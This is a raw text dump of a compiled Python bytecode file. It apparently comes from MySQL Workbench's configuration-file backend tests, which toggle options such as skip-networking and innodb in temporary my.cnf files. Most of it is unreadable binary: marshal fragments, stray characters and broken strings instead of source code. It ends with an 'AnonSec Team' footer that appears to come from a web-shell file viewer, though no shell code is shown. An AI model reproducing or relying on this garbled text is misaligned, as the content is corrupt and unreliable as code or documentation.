dkr)t}|d7}n|||fS(Ns@Removing boolean with default false and disabledby (opt in file)RRws tmp/wb_admin_config_file_be9.cnfssys.config.pathRcRvtnewRRs,Failed to add option for further remove testisValue has no on valuesJRemoving opt 'new' with disabledby=skip-new should remove option from filesskip-newsNRemoving opt 'new' with disabledby=skip-new should add skip-new option to files<new is not added to original_opts to turn off checkbox in uiRs[new with value = disabledby was not added to original_opts to indicate presense of skip-news:skip-new is not added to original_opts after apply_changes(R(R\RRXRYRURRyRRRzRRR4RqRR>RRRRPR8RRRR(RsRRR}RwRRvR?R1Rtskip_new((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_9~sT
&%
	











c	Cstdf}t}d}|d}tjjtjd|jd<}tt|d|d|d<}t	|||_
|j|jdd
d
|j
|jt}x0|jD]%}d|jdkrt}PqqW|st}|d7}n|||fS(Ns9Checking turn on of special skip option (skip-networking)RRws!tmp/wb_admin_config_file_be10.cnfssys.config.pathRcRvsskip-networkingRRs 
	
s#skip-networking was written wrongly(R(R\RRXRYRURRyRRRzRRR4RqRRR%(	RsRRR}RwRRvtfoundRK((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_10s*
&%
	



cCs tdf}t}d}|d}tjjtjd|jd<}t|d}|jd|jd|j	t
t|d|d	|d
<}t|||_
|j|jddd
|j|jt|jdjdkrt}|d7}n|||fS(NsGChecking turn on bool opt = false (def != false, on=name) (opt in file)RRws!tmp/wb_admin_config_file_be11.cnfssys.config.pathtws	[mysqld]
senable-named-pipe = 0
RcRvsenable-named-pipeRRisValue is not True(R(R\RRXRYRURRyRR[RRRRzRRR4RqRRPR(RsRRR}RwRtfRv((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_11s(
&


%
	



cCs tdf}t}d}|d}tjjtjd|jd<}t|d}|jd|jd|j	t
t|d|d	|d
<}t|||_
|j|jddd
|j|jt|jdjdkrt}|d7}n|||fS(Ns>Checking turn on bool opt with disabledby=skip-* (opt in file)RRws!tmp/wb_admin_config_file_be12.cnfssys.config.pathRs	[mysqld]
s	skip-new
RcRvRRRismerge is not set.(R(R\RRXRYRURRyRR[RRRRzRRR4RqRRPR(RsRRR}RwRRRv((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_12s(
&


%
	



c
Cs1tdf}t}d}|d}tjjtjd|jd<}t|d}|jd|j	|d}|j
}d|_
tt|d|d|d<}	t
|||	_|	j|	jd
d|	j|	jd|	jjd
krt}|d7}n||_
|||fS(NsDisabling innodbRRws!tmp/wb_admin_config_file_be13.cnfssys.config.pathRs	[mysqld]
RciiiRvtinnodbRs,innodb option appeared in file after removal(iii(R\RRXRYRURRyRR[RRRRRzRRR8RqRRR>R(
RsRRR}RwRRRcRRv((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_13s.
&


		%
	



	c
Cs1tdf}t}d}|d}tjjtjd|jd<}t|d}|jd|j	|d}|j
}d|_
tt|d|d|d<}	t
|||	_|	j|	jd
d|	j|	jd|	jjd
krt}|d7}n||_
|||fS(NsDisabling innodbRRws!tmp/wb_admin_config_file_be13.cnfssys.config.pathRs	[mysqld]
RciiiRvRRs,innodb option appeared in file after removal(iii(R\RRXRYRURRyRR[RRRRRzRRR8RqRRR>R(
RsRRR}RwRRRcRRv((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyt
unit_test_13_$s.
&


		%
	



	cCsjtdf}t}d}|d}tjjtjd|jd<}t|d}|jd|j	|d}|j
}d|_
tt|d|d|d<}	t
|||	_|	j|	jd
dd|	j|	j|	jjd
}
|	jGHd|
kr,t}|d7}n(d|
jdkrTt}|d7}n||_
|||fS(Ns<Disabling innodb. File has bool innodb, WBA uses enum innodbRRws!tmp/wb_admin_config_file_be14.cnfssys.config.pathRs[mysqld]
innodb
RciiiRvRtOFFRs&innodb option disappeared after changeis$innodb option was not changed to OFF(iii(sOFF(R\RRXRYRURRyRR[RRRRRzRRR9RqRR>RRRP(RsRRR}RwRRRcRRvR((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_14Cs8
&


		%
	




	cCs'|dt_d|kr#|d=ndS(NR{Rv(R^R(Rs((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pytunit_test_10000hs
(@RRRYRXRVR\R-RRjRRRRRRRt	wb_commonRRR	R
Rt
workbench.logRR
RRtwb_server_controlRtworkbench.utilsRtpysourceRTRR&R,R6RFtobjectRGRRRR^RRuRzR|R~RRRRRRRRRRRRRRR(((sVC:\Program Files (x86)\MySQL\MySQL Workbench 6.1 CE\modules\wb_admin_config_file_be.pyt<module>sb4("
		#			2'					
			5				&	5						%

Anon7 - 2022
AnonSec Team